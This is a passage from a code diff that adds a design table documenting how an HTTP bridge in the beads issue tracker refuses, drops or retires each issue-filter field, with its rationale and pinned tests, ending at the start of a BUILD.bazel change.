for. Both readings are drops wearing a filter's clothes, so the combination refuses before a shape is chosen | D4, D11, D9 L12 | TestASearchFilterMatchingNeitherShapeRefuses | +| E-IssueFilter.Limit@exactIDs | refuse | `IssueFilter.Limit` | a Limit alongside an id set refuses | getIssue answers one row per call, so a Limit could only be applied by discarding answers the caller named explicitly | D11 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.IDs@bound | refuse | `IssueFilter.IDs` | an id set larger than MaxExactIDs refuses | the exact-ids shape costs one getIssue per id, so an unbounded set is an unbounded burst at one shared server. The bound is 100 and is a GUESS: open question 6 asks for the real call-site fan-out to be measured before GA | D11, open question 6 | TestTheExactIDsFanOutIsBounded | +| E-IssueFilter.noShape | refuse | — | a raw SearchIssues call matching neither expressible shape refuses | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses. A filter naming no ids and no parent — the unbounded `everything` shape included — is not one of them | D8 (off-role raw methods), D4, D11, D9 L12 | TestASearchFilterMatchingNeitherShapeRefuses | +| E-bridge-parent-shape | retired | — | RETIRED — the ParentID-only shape was unreachable from `bd list --parent` as the CLI builds it, and the walk refused over http | the escalation this row raised (ga-2ieek) was resolved by spec revision 6b428bf63 as semantic inversion: the wire publishes INTENTS (`all`, `include_templates`, `include_gates`, `include_infra`) rather than materialized exclusions, and the server's role re-derives the exclusions from the same builder against its own authoritative vocabulary. The bridge therefore inverts the derived members back to intents instead of encoding them, and the objection recorded here — that recognizing the baseline would be an unsanctioned second encoder — is answered by VERIFYING each candidate through workapi.BuildListFilter itself rather than reimplementing it. The live rules are the P-IssueFilter.* population | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | + +## Parent-walk derived defaults (D4) + +The descendant walk reads the same IssueFilter as the exact-ids shape and reads it differently. The wire publishes intents (all, include_templates, include_gates, include_infra) and the server re-derives the exclusions; the bridge inverts the derived defaults back to intents and refuses anything the inversion cannot account for. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| P-IssueFilter.ExcludeStatus | refuse | `IssueFilter.ExcludeStatus` | a status exclusion that is not the derived default refuses | listIssues publishes no exclude_status: the wire publishes the INTENT (`all`) and the server re-derives the exclusions from the same builder against its own authoritative vocabulary, which additionally heals L7's degraded client-side set for the walk. An exclusion list no intent reproduces is therefore unstatable, and dropping it would widen the listing to closed work | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Pinned | refuse | `IssueFilter.Pinned` | a pinned predicate that is not the derived default refuses | the pinned default is the FOURTH derived member and has no parameter of its own: `--pinned` selects the flagged rows and `--no-pinned` holds the unflagged predicate in place under `--all`, and the wire can express neither. Its derived value is a function of the `all` intent alone — upstream #5333 stopped an every-status selector from forcing it, so `--status all` and `--all` are now one filter and one wire question — and a value that intent does not reproduce is a user's own predicate, which NARROWS, and that is precisely when dropping it would answer a different question | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.IsTemplate | refuse | `IssueFilter.IsTemplate` | a template predicate that is not the derived default refuses | listIssues publishes include_templates, an intent, not an is_template predicate. `&false` is what the absent flag derives and sends nothing; nil is what `--include-templates` derives and sends the flag; `&true` selects templates ONLY, which no intent on this operation can say | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.ExcludeTypes | refuse | `IssueFilter.ExcludeTypes` | a type exclusion beyond the derived gate and infra members refuses | listIssues publishes include_gates and include_infra — intents — and no exclude_type. The gate member and the whole infra vocabulary are what their absent flags derive; a leftover member is a user's `--exclude-type`, and dropping it would return the type they asked to hide | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Ephemeral | refuse | `IssueFilter.Ephemeral` | an ephemeral predicate that is not the derived default refuses | BuildListFilter sets it only for an infra `--type`, from the same flag the walk already encodes; the wire publishes no ephemeral PREDICATE on the listing — include_ephemeral is an intent that ADMITS the plane, not a selector that restricts to it — so any other value is unstatable | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SkipWisps | refuse | `IssueFilter.SkipWisps` | a wisp-merge opt-out that is not the derived default refuses | NARROWED by client wave ga-mijra, which closed the client-side gap this row used to record. The walk now encodes include_ephemeral — SkipWisps going false IS that intent, and it is read back off the member the way every other derived default is — so a wisp-inclusive descendant listing crosses instead of refusing, which is the shape gc's TierBoth reads take. What still refuses is a SkipWisps no set of intents reproduces: holding the plane out while include_infra or an infra `--type` admits it. BuildListFilter never builds that pair, so it is a hand-made filter rather than a flag combination, and dropping the opt-out would merge a plane the caller asked to skip | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SortBy | degrade | `IssueFilter.SortBy` | the walk's sort key is DROPPED | findAllDescendants accumulates every level into a map keyed by id, so no per-level order reaches the answer: the walk's own assembly discards it before the caller sees it. This is a drop with nothing to drop, and the rendering order is the tree renderer's | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek, D9 | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SortDesc | degrade | `IssueFilter.SortDesc` | the walk's sort direction is DROPPED | the other half of the order findAllDescendants discards; see P-IssueFilter.SortBy | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek, D9 | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SkipLabels | degrade | `IssueFilter.SkipLabels` | the label-hydration opt-out is DROPPED | the listing publishes no hydration parameter, so the client cannot ask the server to skip the labels join. Dropping it hands the caller MORE data and never fewer rows, so it cannot be misread as a narrower or wider answer | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek, D9 | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SkipCounts | degrade | `IssueFilter.SkipCounts` | the cardinality-hydration opt-out is DROPPED | the same absence as SkipLabels, and here refusing would be actively wrong: every text rendering of `bd list` sets it, so a refusal would kill the walk's DEFAULT rendering — the one behavior D4 classifies the walk as served in order to keep | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek, D9 | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Priority | refuse | `IssueFilter.Priority` | a populated IssueFilter.Priority refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.LabelPattern | refuse | `IssueFilter.LabelPattern` | a populated IssueFilter.LabelPattern refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.LabelRegex | refuse | `IssueFilter.LabelRegex` | a populated IssueFilter.LabelRegex refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.TitleSearch | refuse | `IssueFilter.TitleSearch` | a populated IssueFilter.TitleSearch refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.IDPrefix | refuse | `IssueFilter.IDPrefix` | a populated IssueFilter.IDPrefix refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SpecIDPrefix | refuse | `IssueFilter.SpecIDPrefix` | a populated IssueFilter.SpecIDPrefix refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.TitleContains | refuse | `IssueFilter.TitleContains` | a populated IssueFilter.TitleContains refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.DescriptionContains | refuse | `IssueFilter.DescriptionContains` | a populated IssueFilter.DescriptionContains refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.NotesContains | refuse | `IssueFilter.NotesContains` | a populated IssueFilter.NotesContains refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.ExternalRefContains | refuse | `IssueFilter.ExternalRefContains` | a populated IssueFilter.ExternalRefContains refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.ExternalRef | refuse | `IssueFilter.ExternalRef` | a populated IssueFilter.ExternalRef refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.UpdatedAfter | refuse | `IssueFilter.UpdatedAfter` | a populated IssueFilter.UpdatedAfter refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.UpdatedBefore | refuse | `IssueFilter.UpdatedBefore` | a populated IssueFilter.UpdatedBefore refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.ClosedAfter | refuse | `IssueFilter.ClosedAfter` | a populated IssueFilter.ClosedAfter refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.ClosedBefore | refuse | `IssueFilter.ClosedBefore` | a populated IssueFilter.ClosedBefore refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.StartedAfter | refuse | `IssueFilter.StartedAfter` | a populated IssueFilter.StartedAfter refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.StartedBefore | refuse | `IssueFilter.StartedBefore` | a populated IssueFilter.StartedBefore refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.AfterCreatedAt | refuse | `IssueFilter.AfterCreatedAt` | a populated IssueFilter.AfterCreatedAt refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.AfterID | refuse | `IssueFilter.AfterID` | a populated IssueFilter.AfterID refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.AfterPriority | refuse | `IssueFilter.AfterPriority` | a populated IssueFilter.AfterPriority refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.EmptyDescription | refuse | `IssueFilter.EmptyDescription` | a populated IssueFilter.EmptyDescription refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.NoAssignee | refuse | `IssueFilter.NoAssignee` | a populated IssueFilter.NoAssignee refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.NoLabels | refuse | `IssueFilter.NoLabels` | a populated IssueFilter.NoLabels refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.PriorityMin | refuse | `IssueFilter.PriorityMin` | a populated IssueFilter.PriorityMin refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.PriorityMax | refuse | `IssueFilter.PriorityMax` | a populated IssueFilter.PriorityMax refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.SourceRepo | refuse | `IssueFilter.SourceRepo` | a populated IssueFilter.SourceRepo refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.EphemeralTier | refuse | `IssueFilter.EphemeralTier` | a populated IssueFilter.EphemeralTier refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.IsBlocked | refuse | `IssueFilter.IsBlocked` | a populated IssueFilter.IsBlocked refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.NoParent | refuse | `IssueFilter.NoParent` | a populated IssueFilter.NoParent refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.MolType | refuse | `IssueFilter.MolType` | a populated IssueFilter.MolType refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.WispType | refuse | `IssueFilter.WispType` | a populated IssueFilter.WispType refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Deferred | refuse | `IssueFilter.Deferred` | a populated IssueFilter.Deferred refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.DeferAfter | refuse | `IssueFilter.DeferAfter` | a populated IssueFilter.DeferAfter refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.DeferBefore | refuse | `IssueFilter.DeferBefore` | a populated IssueFilter.DeferBefore refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.DueAfter | refuse | `IssueFilter.DueAfter` | a populated IssueFilter.DueAfter refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.DueBefore | refuse | `IssueFilter.DueBefore` | a populated IssueFilter.DueBefore refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Overdue | refuse | `IssueFilter.Overdue` | a populated IssueFilter.Overdue refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.IncludeDependencies | refuse | `IssueFilter.IncludeDependencies` | a populated IssueFilter.IncludeDependencies refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.NoIDShrink | refuse | `IssueFilter.NoIDShrink` | a populated IssueFilter.NoIDShrink refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Offset | refuse | `IssueFilter.Offset` | a populated IssueFilter.Offset refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.Lite | refuse | `IssueFilter.Lite` | a populated IssueFilter.Lite refuses on the descendant walk | listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek | TestTheParentWalkInvertsTheDerivedDefaults | +| P-IssueFilter.unrecognized | refuse | — | a descendant-walk filter whose intents this client cannot reproduce at all refuses | the inversion proves a candidate by RE-RUNNING workapi.BuildListFilter and comparing the derived members, so a candidate the builder itself rejects — an unknown status, a vocabulary the client's degraded copy does not carry (L7) — is never compared. When every candidate is rejected that way there is no member to blame, and refusing on the recognition is the only honest answer | D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek, D9 L7 | TestTheParentWalkInvertsTheDerivedDefaults | + +## Ready bridge / WorkFilter (D8) + +The throwaway bridge that maps a WorkFilter back onto ready parameters until the front door moves onto issueops.Reader. It refuses every field it cannot express. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| E-WorkFilter.Lite | retired | — | RETIRED — the ready bridge maps Lite onto `brief`, the same parameter ReadyRequest.Brief now sends | upstream #5586 published `brief` on GET /v0/beads/ready and GET /v0/beads/issues, which is the retirement path this row named. Both page encoders send the parameter now — readyTable, listTable and the ready bridge all map it — so the client asks for the projection it was handed and the server leaves the text columns unselected. The COUNT keeps the drop under E-ReadyRequest.Brief@countReadyWork, because countReadyWork publishes no such parameter and a cardinality has no rows to project. WHAT DID NOT RETIRE WITH IT IS THE WIRE HALF OF THE MARKER, and only that half: types.Issue.IsLitePartial is `json:"-"` and never crosses, so a projected page arrives on the transport byte-identical to a page of genuinely textless rows — the same absence getIssue's brief_deps carries, deferred upstream by #5549. THE CALLER-VISIBLE AMBIGUITY IS CLOSED, by client wave ga-f352s: `brief` is a parameter to the page decode rather than a field on anything, so httpReader hands it to wireRows (role_reader.go) and this client stamps IsLitePartial on every row of a page it ASKED to be projected — which is precisely what issueops.ListRequest.Brief's own leaf says a wire consumer distinguishes the two by — and never on a hydrated one. `bd list --long --brief` therefore prints "Description: (omitted by --brief)" over http exactly as it does locally, and TestHTTPCommentAndBriefRenderEndToEnd pins that line through the real binary | D9 (a degradation not in this table is a bug) | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.Status | refuse | `WorkFilter.Status` | a ready-work status that is not the derived default refuses; the default (open only) is DERIVED server-side and drops | listReadyWork publishes no status parameter: handleReady decodes a status-LESS request and the server re-derives ready work's status through workapi.BuildReadyFilter, which is unconditionally StatusOpen — open work only, the set `bd list --ready` shows. The client sends that one derived value as the absence the server reads it back from, so every real `bd ready` and `bd ready --json` (whose filter BuildReadyFilter always stamps StatusOpen) round-trips to the identical rows. Any other status is unstatable and refuses: a named status would answer over the query's open-only default rather than the set named, and the empty status is the storage layer's own open+in_progress default, which this operation cannot express either | D8 (off-role ready bridge), D9 L12, D4 (derived-default inversion, escalation ga-2ieek) | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.Statuses | refuse | `WorkFilter.Statuses` | a multi-status OR set on ready work refuses | listReadyWork publishes no status parameter, and an OR-set is neither the server's derived default (open only) nor anything the wire can carry — dropping it would widen the answer to statuses the caller did not ask for, so it refuses alongside a non-default Status (L12) | D8 (off-role ready bridge), D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.MoleculeID | refuse | `WorkFilter.MoleculeID` | restricting ready work to one molecule's direct children refuses | listReadyWork publishes `parent` for the RECURSIVE descendant restriction and nothing for direct membership; the two are different sets, so `parent` is not a substitute | D8 (off-role ready bridge), D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.MolType | refuse | `WorkFilter.MolType` | a molecule-type restriction on ready work refuses | no wire parameter — the same absence E-ReadyRequest.MolType records, reached from the other source shape | D8 (off-role ready bridge), D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.WispType | refuse | `WorkFilter.WispType` | a wisp-type restriction on ready work refuses | listReadyWork publishes include_ephemeral, which admits the wisp plane wholesale, and nothing that selects a wisp TYPE within it | D8 (off-role ready bridge), D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.ExcludeIDs | refuse | `WorkFilter.ExcludeIDs` | an id exclusion set on ready work refuses | listReadyWork publishes no id-exclusion parameter; the set is what the external-dependency policy decorator (upstream #4753) injects to hide sources behind unsatisfied external blockers, and dropping it would widen the answer to exactly the issues the caller's policy excluded (L12). A server that advertises policy.external_dependencies applies the policy itself, so the client never builds the set for it | D8 (off-role ready bridge), D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-WorkFilter.Offset | refuse | `WorkFilter.Offset` | a non-zero Offset on ready work refuses | no wire parameter, and ready work carries no keyset position to page by; see E-ReadyRequest.Offset | D8 (off-role ready bridge), D9 L12 | TestEncoderHonorsEveryTableDisposition | + diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index 46a8bc94c..b734489cd 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -7,3 +7,14 @@ go_library( importpath = "github.com/steveyegge/beads/internal/httpapi/spec", visibility = ["//:__subpackages__"], ) + +# 